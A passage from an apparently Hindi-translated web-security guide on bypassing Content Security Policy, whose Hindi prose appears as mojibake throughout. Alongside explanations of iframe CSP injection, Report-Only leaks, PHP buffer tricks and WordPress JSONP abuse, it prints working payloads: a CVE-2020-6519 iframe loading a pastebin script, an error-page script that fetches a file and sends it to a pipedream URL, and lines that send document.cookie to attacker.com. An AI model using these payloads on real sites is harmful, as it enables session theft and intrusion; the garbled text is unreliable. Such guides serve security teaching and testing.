рдХреБрдХреАрдЬрд╝ рдпрд╛ рдЯреЛрдХрди рдЪреБрд░рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛ред
рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдпрд╣рд╛рдБ рдореВрд▓ рд░рд┐рдкреЛрд░реНрдЯ рджреЗрдЦреЗрдВ.
CSP рдмрд╛рдпрдкрд╛рд╕ рджреНрд╡рд╛рд░рд╛ CSP рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рдирд╛
рдЗрд╕ CTF рд▓реЗрдЦ рдореЗрдВ, CSP рдХреЛ рдПрдХ рдЕрдиреБрдордд iframe рдХреЗ рдЕрдВрджрд░ рдПрдХ рдЕрдзрд┐рдХ рдкреНрд░рддрд┐рдмрдВрдзрд╛рддреНрдордХ CSP рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдХреЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЬреЛ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ JS рдлрд╝рд╛рдЗрд▓ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддрд╛ рд╣реИ, рдЬреЛ рдлрд┐рд░, рдкреНрд░реЛрдЯреЛрдЯрд╛рдЗрдк рдкреНрд░рджреВрд╖рдг рдпрд╛ DOM рдХреНрд▓реЙрдмрд░рд┐рдВрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рдЕрд▓рдЧ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдордирдорд╛рдирд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
рдЖрдк csp
рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЗ рд╕рд╛рде рдПрдХ iframe рдХреЗ CSP рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
{% code overflow="wrap" %}
<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
{% endcode %}
рдЗрд╕ CTF рд▓реЗрдЦ рдореЗрдВ, HTML injection рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ CSP рдХреЛ рдФрд░ рдЕрдзрд┐рдХ рд╕реАрдорд┐рдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рдерд╛, рдЬрд┐рд╕рд╕реЗ CSTI рдХреЛ рд░реЛрдХрдиреЗ рд╡рд╛рд▓рд╛ рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЕрдХреНрд╖рдо рд╣реЛ рдЧрдпрд╛ рдФрд░ рдЗрд╕рд▓рд┐рдП рдХрдордЬреЛрд░реА рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдпрд╛ рдЬрд╛ рд╕рдХрд╛ред
CSP рдХреЛ HTML рдореЗрдЯрд╛ рдЯреИрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдзрд┐рдХ рд╕реАрдорд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЗрдирд▓рд╛рдЗрди рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдЕрдХреНрд╖рдо рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЙрдирдХреЗ nonce рдХреЛ рдЕрдиреБрдорддрд┐ рджреЗрдХрд░ рдФрд░ sha рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЗрдирд▓рд╛рдЗрди рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдХреЗ:
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
JS exfiltration with Content-Security-Policy-Report-Only
рдпрджрд┐ рдЖрдк рд╕рд░реНрд╡рд░ рдХреЛ Content-Security-Policy-Report-Only
рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде рдЖрдкрдХреЗ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдорд╛рди рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рджреЗрдиреЗ рдореЗрдВ рд╕рдлрд▓ рд╣реЛрддреЗ рд╣реИрдВ (рд╢рд╛рдпрдж CRLF рдХреЗ рдХрд╛рд░рдг), рддреЛ рдЖрдк рдЗрд╕реЗ рдЕрдкрдиреЗ рд╕рд░реНрд╡рд░ рдХреА рдУрд░ рдЗрдВрдЧрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдпрджрд┐ рдЖрдк JS рд╕рд╛рдордЧреНрд░реА рдХреЛ <script>
рдХреЗ рд╕рд╛рде рд▓рдкреЗрдЯрддреЗ рд╣реИрдВ рдФрд░ рдХреНрдпреЛрдВрдХрд┐ CSP рджреНрд╡рд╛рд░рд╛ unsafe-inline
рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рд╣реИ, рддреЛ рдпрд╣ CSP рддреНрд░реБрдЯрд┐ рдХреЛ рдкреНрд░реЗрд░рд┐рдд рдХрд░реЗрдЧрд╛ рдФрд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдПрдХ рднрд╛рдЧ (рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рд╡рд╛рд▓рд╛) Content-Security-Policy-Report-Only
рд╕реЗ рд╕рд░реНрд╡рд░ рдкрд░ рднреЗрдЬрд╛ рдЬрд╛рдПрдЧрд╛ред
рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдЗрд╕ CTF рд▓реЗрдЦ рдХреЛ рджреЗрдЦреЗрдВ.
CVE-2020-6519
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
CSP рдФрд░ Iframe рдХреЗ рд╕рд╛рде рдЬрд╛рдирдХрд╛рд░реА рд▓реАрдХ рдХрд░рдирд╛
- рдПрдХ
iframe
рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдПрдХ URL (рд╣рдо рдЗрд╕реЗhttps://example.redirect.com
рдХрд╣рддреЗ рд╣реИрдВ) рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ CSP рджреНрд╡рд╛рд░рд╛ рдЕрдиреБрдорддрд┐ рджреА рдЧрдИ рд╣реИред - рдпрд╣ URL рдлрд┐рд░ рдПрдХ рдЧреБрдкреНрдд URL (рдЬреИрд╕реЗ,
https://usersecret.example2.com
) рдХреА рдУрд░ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд░рддрд╛ рд╣реИ рдЬреЛ CSP рджреНрд╡рд╛рд░рд╛ рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреА рдЧрдИ рд╣реИред securitypolicyviolation
рдЗрд╡реЗрдВрдЯ рдХреЛ рд╕реБрдирдХрд░, рдХреЛрдИblockedURI
рдкреНрд░реЙрдкрд░реНрдЯреА рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдкреНрд░реЙрдкрд░реНрдЯреА рдмреНрд▓реЙрдХ рдХрд┐рдП рдЧрдП URI рдХреЗ рдбреЛрдореЗрди рдХреЛ рдкреНрд░рдХрдЯ рдХрд░рддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдкреНрд░рд╛рд░рдВрднрд┐рдХ URL рджреНрд╡рд╛рд░рд╛ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд┐рдП рдЧрдП рдЧреБрдкреНрдд рдбреЛрдореЗрди рдХрд╛ рд▓реАрдХ рд╣реЛрдирд╛ рд╣реЛрддрд╛ рд╣реИред
рдпрд╣ рдзреНрдпрд╛рди рджреЗрдиреЗ рдпреЛрдЧреНрдп рд╣реИ рдХрд┐ Chrome рдФрд░ Firefox рдЬреИрд╕реЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдореЗрдВ CSP рдХреЗ рд╕рдВрдмрдВрдз рдореЗрдВ iframes рдХреЛ рд╕рдВрднрд╛рд▓рдиреЗ рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди рд╡реНрдпрд╡рд╣рд╛рд░ рд╣реЛрддреЗ рд╣реИрдВ, рдЬреЛ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд╕рдВрднрд╛рд╡рд┐рдд рд▓реАрдХ рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддреЗ рд╣реИрдВред
рдПрдХ рдФрд░ рддрдХрдиреАрдХ CSP рдХрд╛ рд╕реНрд╡рдпрдВ рд╢реЛрд╖рдг рдХрд░рдирд╛ рд╣реИ рддрд╛рдХрд┐ рдЧреБрдкреНрдд рд╕рдмрдбреЛрдореЗрди рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдпрд╣ рд╡рд┐рдзрд┐ рдПрдХ рдмрд╛рдЗрдирд░реА рд╕рд░реНрдЪ рдПрд▓реНрдЧреЛрд░рд┐рджрдо рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИ рдФрд░ CSP рдХреЛ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдбреЛрдореЗрди рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдорд╛рдпреЛрдЬрд┐рдд рдХрд░рддреА рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рдЬрд╛рдирдмреВрдЭрдХрд░ рдмреНрд▓реЙрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ рдЧреБрдкреНрдд рд╕рдмрдбреЛрдореЗрди рдЕрдЬреНрдЮрд╛рдд рд╡рд░реНрдгреЛрдВ рд╕реЗ рдмрдирд╛ рд╣реИ, рддреЛ рдЖрдк CSP рдирд┐рд░реНрджреЗрд╢ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдХреЗ рдЗрди рд╕рдмрдбреЛрдореЗрди рдХреЛ рдмреНрд▓реЙрдХ рдпрд╛ рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди рд╕рдмрдбреЛрдореЗрди рдХрд╛ рдХреНрд░рдорд┐рдХ рдкрд░реАрдХреНрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣рд╛рдБ рдПрдХ рд╕реНрдирд┐рдкреЗрдЯ рд╣реИ рдЬреЛ рджрд┐рдЦрд╛рддрд╛ рд╣реИ рдХрд┐ CSP рдХреЛ рдЗрд╕ рд╡рд┐рдзрд┐ рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХреИрд╕реЗ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
CSP рджреНрд╡рд╛рд░рд╛ рдЕрд╡рд░реБрджреНрдз рдпрд╛ рдЕрдиреБрдордд рдЕрдиреБрд░реЛрдзреЛрдВ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░рдХреЗ, рдХреЛрдИ рднреА рдЧреБрдкреНрдд рдЙрдкрдбреЛрдореЗрди рдореЗрдВ рд╕рдВрднрд╛рд╡рд┐рдд рд╡рд░реНрдгреЛрдВ рдХреЛ рд╕рдВрдХреАрд░реНрдг рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЕрдВрддрддрдГ рдкреВрд░реНрдг URL рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛ рд╕рдХрддрд╛ рд╣реИред
рджреЛрдиреЛрдВ рд╡рд┐рдзрд┐рдпрд╛рдБ CSP рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдФрд░ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдореЗрдВ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЗ рдмрд╛рд░реАрдХрд┐рдпреЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреА рд╣реИрдВ, рдпрд╣ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддреЗ рд╣реБрдП рдХрд┐ рдХреИрд╕реЗ рдкреНрд░рддреАрдд рд╣реЛрддрд╛ рд╣реИ рдХрд┐ рд╕реБрд░рдХреНрд╖рд┐рдд рдиреАрддрд┐рдпрд╛рдБ рдЕрдирдЬрд╛рдиреЗ рдореЗрдВ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рд▓реАрдХ рдХрд░ рд╕рдХрддреА рд╣реИрдВред
рдпрд╣рд╛рдБ рд╕реЗ рдЯреНрд░рд┐рдХред
рдЕрдиреБрднрд╡реА рд╣реИрдХрд░реЛрдВ рдФрд░ рдмрдЧ рдмрд╛рдЙрдВрдЯреА рд╢рд┐рдХрд╛рд░рд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рд╕рдВрд╡рд╛рдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП HackenProof Discord рд╕рд░реНрд╡рд░ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ!
рд╣реИрдХрд┐рдВрдЧ рдЕрдВрддрд░реНрджреГрд╖реНрдЯрд┐
рдРрд╕реЗ рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕рд╛рде рд╕рдВрд▓рдЧреНрди рд╣реЛрдВ рдЬреЛ рд╣реИрдХрд┐рдВрдЧ рдХреЗ рд░реЛрдорд╛рдВрдЪ рдФрд░ рдЪреБрдиреМрддрд┐рдпреЛрдВ рдореЗрдВ рдЧрд╣рд░рд╛рдИ рд╕реЗ рдЬрд╛рддреА рд╣реИ
рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдордп рд╣реИрдХ рд╕рдорд╛рдЪрд╛рд░
рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдордп рд╕рдорд╛рдЪрд╛рд░ рдФрд░ рдЕрдВрддрд░реНрджреГрд╖реНрдЯрд┐рдпреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рддреЗрдЬрд╝-рддрд░реНрд░рд╛рд░ рд╣реИрдХрд┐рдВрдЧ рджреБрдирд┐рдпрд╛ рдХреЗ рд╕рд╛рде рдЕрджреНрдпрддрд┐рдд рд░рд╣реЗрдВ
рдирд╡реАрдирддрдо рдШреЛрд╖рдгрд╛рдПрдБ
рдирд╡реАрдирддрдо рдмрдЧ рдмрд╛рдЙрдВрдЯреА рд▓реЙрдиреНрдЪ рдФрд░ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдЕрдкрдбреЗрдЯ рдХреЗ рд╕рд╛рде рд╕реВрдЪрд┐рдд рд░рд╣реЗрдВ
рдЖрдЬ рд╣реА Discord рдкрд░ рд╣рдорд╕реЗ рдЬреБрдбрд╝реЗрдВ рдФрд░ рд╢реАрд░реНрд╖ рд╣реИрдХрд░реЛрдВ рдХреЗ рд╕рд╛рде рд╕рд╣рдпреЛрдЧ рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░реЗрдВ!
CSP рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рддрдХрдиреАрдХреЗрдВ
рдмрд╣реБрдд рд╕рд╛рд░реЗ рдкреИрд░рд╛рдореАрдЯрд░ рд╣реЛрдиреЗ рдкрд░ PHP рддреНрд░реБрдЯрд┐рдпрд╛рдБ
рдЗрд╕ рд╡реАрдбрд┐рдпреЛ рдореЗрдВ рдЕрдВрддрд┐рдо рддрдХрдиреАрдХ рдХреЗ рдЕрдиреБрд╕рд╛рд░, рдмрд╣реБрдд рд╕рд╛рд░реЗ рдкреИрд░рд╛рдореАрдЯрд░ (1001 GET рдкреИрд░рд╛рдореАрдЯрд░, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЖрдк рдЗрд╕реЗ POST рдкреИрд░рд╛рдореАрдЯрд░ рдФрд░ 20 рд╕реЗ рдЕрдзрд┐рдХ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд╕рд╛рде рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ) рднреЗрдЬрдирд╛ред PHP рд╡реЗрдм рдХреЛрдб рдореЗрдВ рдХреЛрдИ рднреА рдкрд░рд┐рднрд╛рд╖рд┐рдд header()
рдирд╣реАрдВ рднреЗрдЬрд╛ рдЬрд╛рдПрдЧрд╛ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рддреНрд░реБрдЯрд┐ рдЙрддреНрдкрдиреНрди рдХрд░реЗрдЧрд╛ред
PHP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдмрдлрд░ рдУрд╡рд░рд▓реЛрдб
PHP рдХреЛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ 4096 рдмрд╛рдЗрдЯреНрд╕ рддрдХ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рдмрдлрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ PHP рдПрдХ рдЪреЗрддрд╛рд╡рдиреА рджрд┐рдЦрд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЪреЗрддрд╛рд╡рдирд┐рдпреЛрдВ рдХреЗ рдЕрдВрджрд░ рдкрд░реНрдпрд╛рдкреНрдд рдбреЗрдЯрд╛ рдкреНрд░рджрд╛рди рдХрд░рдХреЗ, рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ CSP рд╣реЗрдбрд░ рд╕реЗ рдкрд╣рд▓реЗ рднреЗрдЬреА рдЬрд╛рдПрдЧреА, рдЬрд┐рд╕рд╕реЗ рд╣реЗрдбрд░ рдХреЛ рдЕрдирджреЗрдЦрд╛ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред
рдлрд┐рд░, рддрдХрдиреАрдХ рдореВрд▓ рд░реВрдк рд╕реЗ рдЪреЗрддрд╛рд╡рдирд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдмрдлрд░ рдХреЛ рднрд░рдиреЗ рдореЗрдВ рд╣реИ рддрд╛рдХрд┐ CSP рд╣реЗрдбрд░ рди рднреЗрдЬрд╛ рдЬрд╛рдПред
рдЗрд╕ рд▓реЗрдЦ рд╕реЗ рд╡рд┐рдЪрд╛рд░ред
рддреНрд░реБрдЯрд┐ рдкреГрд╖реНрда рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦреЗрдВ
рдЗрд╕ рд▓реЗрдЦ рд╕реЗ рдРрд╕рд╛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдПрдХ рддреНрд░реБрдЯрд┐ рдкреГрд╖реНрда (рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ CSP рдХреЗ рдмрд┐рдирд╛) рд▓реЛрдб рдХрд░рдХреЗ CSP рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ рд╕рдВрднрд╡ рдерд╛ рдФрд░ рдЗрд╕рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦрд╛ рдЧрдпрд╛ред
a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);
SOME + 'self' + wordpress
SOME рдПрдХ рддрдХрдиреАрдХ рд╣реИ рдЬреЛ рдПрдХ XSS (рдпрд╛ рдЕрддреНрдпрдзрд┐рдХ рд╕реАрдорд┐рдд XSS) рдПрдХ рдкреГрд╖реНрда рдХреЗ рдЕрдВрдд рдмрд┐рдВрджреБ рдореЗрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИ рддрд╛рдХрд┐ рдПрдХ рд╣реА рдореВрд▓ рдХреЗ рдЕрдиреНрдп рдЕрдВрдд рдмрд┐рдВрджреБрдУрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдпрд╣ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдкреГрд╖реНрда рд╕реЗ рдХрдордЬреЛрд░ рдЕрдВрдд рдмрд┐рдВрджреБ рдХреЛ рд▓реЛрдб рдХрд░рдХреЗ рдФрд░ рдлрд┐рд░ рд╣рдорд▓рд╛рд╡рд░ рдкреГрд╖реНрда рдХреЛ рдЙрд╕реА рдореВрд▓ рдореЗрдВ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЕрдВрдд рдмрд┐рдВрджреБ рдкрд░ рддрд╛рдЬрд╝рд╛ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдЖрдк рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред рдЗрд╕ рддрд░рд╣ рдХрдордЬреЛрд░ рдЕрдВрдд рдмрд┐рдВрджреБ opener
рдСрдмреНрдЬреЗрдХреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдкреЗрд▓реЛрдб рдореЗрдВ DOM рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЕрдВрдд рдмрд┐рдВрджреБ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ:
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, wordpress рдореЗрдВ /wp-json/wp/v2/users/1?_jsonp=data
рдкрд░ рдПрдХ JSONP рдЕрдВрдд рдмрд┐рдВрджреБ рд╣реИ рдЬреЛ рдЖрдЙрдЯрдкреБрдЯ рдореЗрдВ рднреЗрдЬреЗ рдЧрдП рдбреЗрдЯрд╛ рдХреЛ рдкреНрд░рддрд┐рдмрд┐рдВрдмрд┐рдд рдХрд░реЗрдЧрд╛ (рдХреЗрд╡рд▓ рдЕрдХреНрд╖рд░реЛрдВ, рд╕рдВрдЦреНрдпрд╛рдУрдВ рдФрд░ рдмрд┐рдВрджреБрдУрдВ рдХреА рд╕реАрдорд╛ рдХреЗ рд╕рд╛рде)ред
рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЙрд╕ рдЕрдВрдд рдмрд┐рдВрджреБ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ WordPress рдХреЗ рдЦрд┐рд▓рд╛рдл рдПрдХ SOME рд╣рдорд▓реЗ рдХреЛ рдЬрдирд░реЗрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ <script s
rc=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>
рдХреЗ рдЕрдВрджрд░ рдПрдВрдмреЗрдб рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЛрдб рд╣реЛрдЧреА рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ 'self' рджреНрд╡рд╛рд░рд╛ рдЕрдиреБрдорддрд┐ рджреА рдЧрдИ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдФрд░ рдХреНрдпреЛрдВрдХрд┐ WordPress рд╕реНрдерд╛рдкрд┐рдд рд╣реИ, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ SOME рд╣рдорд▓реЗ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрдордЬреЛрд░ callback рдЕрдВрдд рдмрд┐рдВрджреБ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ CSP рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЕрдзрд┐рдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рджрд┐рдП рдЬрд╛ рд╕рдХреЗрдВ, рдПрдХ рдирдпрд╛ рдкреНрд▓рдЧрдЗрди рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ...
рдЗрд╕ рд╣рдорд▓реЗ рдХреЛ рдХреИрд╕реЗ рдХрд░рдирд╛ рд╣реИ, рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/
CSP Exfiltration Bypasses
рдпрджрд┐ рдПрдХ рд╕рдЦреНрдд CSP рд╣реИ рдЬреЛ рдЖрдкрдХреЛ рдмрд╛рд╣рд░реА рд╕рд░реНрд╡рд░реЛрдВ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддреА рд╣реИ, рддреЛ рдХреБрдЫ рдЪреАрдЬреЗрдВ рд╣реИрдВ рдЬреЛ рдЖрдк рд╣рдореЗрд╢рд╛ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
Location
рдЖрдк рдмрд╕ рд╕реНрдерд╛рди рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╕рд░реНрд╡рд░ рдкрд░ рдЧреБрдкреНрдд рдЬрд╛рдирдХрд╛рд░реА рднреЗрдЬреА рдЬрд╛ рд╕рдХреЗ:
var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;
Meta tag
рдЖрдк рдПрдХ рдореЗрдЯрд╛ рдЯреИрдЧ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдХреЗ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдпрд╣ рдХреЗрд╡рд▓ рдПрдХ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рд╣реИ, рдпрд╣ рд╕рд╛рдордЧреНрд░реА рд▓реАрдХ рдирд╣реАрдВ рдХрд░реЗрдЧрд╛)
<meta http-equiv="refresh" content="1; http://attacker.com">
DNS Prefetch
